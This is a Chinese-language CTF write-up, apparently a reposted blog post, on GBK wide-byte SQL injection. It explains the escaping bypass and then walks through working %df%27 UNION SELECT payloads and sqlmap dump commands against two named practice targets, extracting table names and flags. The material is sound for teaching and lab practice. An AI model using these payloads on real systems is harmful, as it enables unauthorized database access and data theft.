CTF—WEB—sql注入之宽字节注入

 宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

  GBK 占用两字节

  ASCII占用一字节

  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

  %DF’ :会被PHP当中的addslashes函数转义为“%DF\‘” ,“\”既URL里的“%5C”,那么也就是说,“%DF‘”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗

例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

URLdecode解码

%23: ’

%27: #

例题:

靶机:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

先尝试单引号?id=1’  ?id=1%27,页面输出为:

引号被转义了,在前面加了一个 \ 符号

尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了

构造:?id=1%df%27

报错

再构造:?id=1%df%df%23

查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字

开始爆数据库:

?id=1%df%27 order by 2#

列数得知 2列。

爆库:

?id=-1%df%27 union select 1,database()%23

数据库:sae-chinalover

爆列表:

?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

爆出这些表:

ctf,ctf2,ctf3,ctf4,gbksqli,news

爆字段:

?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

id flag

查询关键字:

?id=-1%df%27 union select 1,flag from ctf4%23

利用Sqlmap:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"  --dbs

跑出库

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  --columns

跑字段:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  -C flag --dump

跑出flag

例2:

靶机:安全实验室注入关3

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

?id=1%df%27 报错

?id=1%df%df%23 页面正常

 

爆列数

?id=1%df%27 order by 3%23

?id=1%df%27 order by 4%23

发现只有三列:

爆数据库名:

?id=1%df%27 union select 1,2,database()%23

库名:mydbs

爆表名:

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23

发现报错。。。可能存在过滤

那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,有个网址转错了。。浪费我好多时间)

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23

得出表名:sae_user_sqli4

爆字段:

sae_user_sqli4 ->7361655f757365725f73716c6934

?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23

得出三个字段:id,title_1,content_1

爆关键字:

?id=1%df%27 union select 1,group_concat(id),group_concat(content_1)  from

sae_user_sqli4%23

得到flag

原文地址:https://www.cnblogs.com/zhaoyixiang/p/10970117.html

时间: 2024-10-08 22:12:26

CTF—WEB—sql注入之宽字节注入的相关文章

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ' 就会被转义为: \':2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’:2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

浅谈对宽字节注入的认识

宽字节注入之前看到过,但是没有实战过,后面也没有找到合适的测试环境,今天刚好看到一个关于宽字节注入的ctf题,因此借此来学习下宽字节注入,如果写得不好的地方,烦请各位多多指导,谢谢!本文主要是简单介绍下宽字节注入,以及如何通过手工和工具进行宽字节注入的一个利用,通过本文我主要学习到以下三点: 1.扩展了我对SQL注入进行探测的一个思路! 2.学习了如何使用宽字节探测注入! 3.如何使用sqlmap自动化对宽字节进行注入! 0x01   宽字节注入 这里的宽字节注入是利用mysql的一个特性,my

(宽字节注入) 手注+sqlmap

进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入1.判断列数:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23http://chinalover.sinaap

Sql 注入详解:宽字节注入+二次注入

sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshell 或者直接执行系统命令 (2) 权限较小时,通过注入获得管理员密码信息,或者修改数据库内容进行钓鱼等 常出现的地方: 登录页面.获取HTTP头(user-agent.client-ip等).订单处理等,HTTP头里面client-ip 和 x-forward-for 常出现漏洞,在涉及购物车的地方

74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)

0x01 前言 最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的<代码审计 企业级Web代码安全架构>让我这个初学者能够入门.思路特别棒.我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了.H''Homaebic师傅教会了我很多思路.抱拳了老铁. 0x02 假漏洞 在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞.出现"问

宽字节注入详解

前言 在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性. 首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到 <meta charset=utf8> 就放弃了尝试,这是一个误区,SQL注入不是XSS.虽然他们中编码的成因相似,不过发生的地点不同. 很多网上的材料都说程序使用了宽字节来处理程序,却又不指出具体是指什么

Mysql宽字节注入(转)

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型.也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本. 我们就以gbk字符编码为示范,拉开帷幕.gbk是一种多字符编码,具体定义自行百度.但有一个地方尤其要注意: 通常来说,一个gbk编码汉字,占用2个字节.一个utf-8编码的汉字,占用3个字节.在php中

深入探究宽字节注入漏洞与修补原理

 0.前言 最近要为了自动化审计搜集所有PHP漏洞,在整理注入的时候,发现宽字节注入中使用iconv造成的漏洞原理没有真正搞懂,网上的文章也说得不是很清楚,于是看了荣哥(lxsec)以前发的一篇http://www.91ri.org/8611.html,加上我们两个人的讨论,最终有了这一篇深入的研究成果. 1.概述 主要是由于使用了宽字节编码造成的. 什么是字符集? 计算机显示的字符图形与保存该字符时的二进制编码的映射关系. 如ASCII中,A(图形)对应编码01000001(65). 对于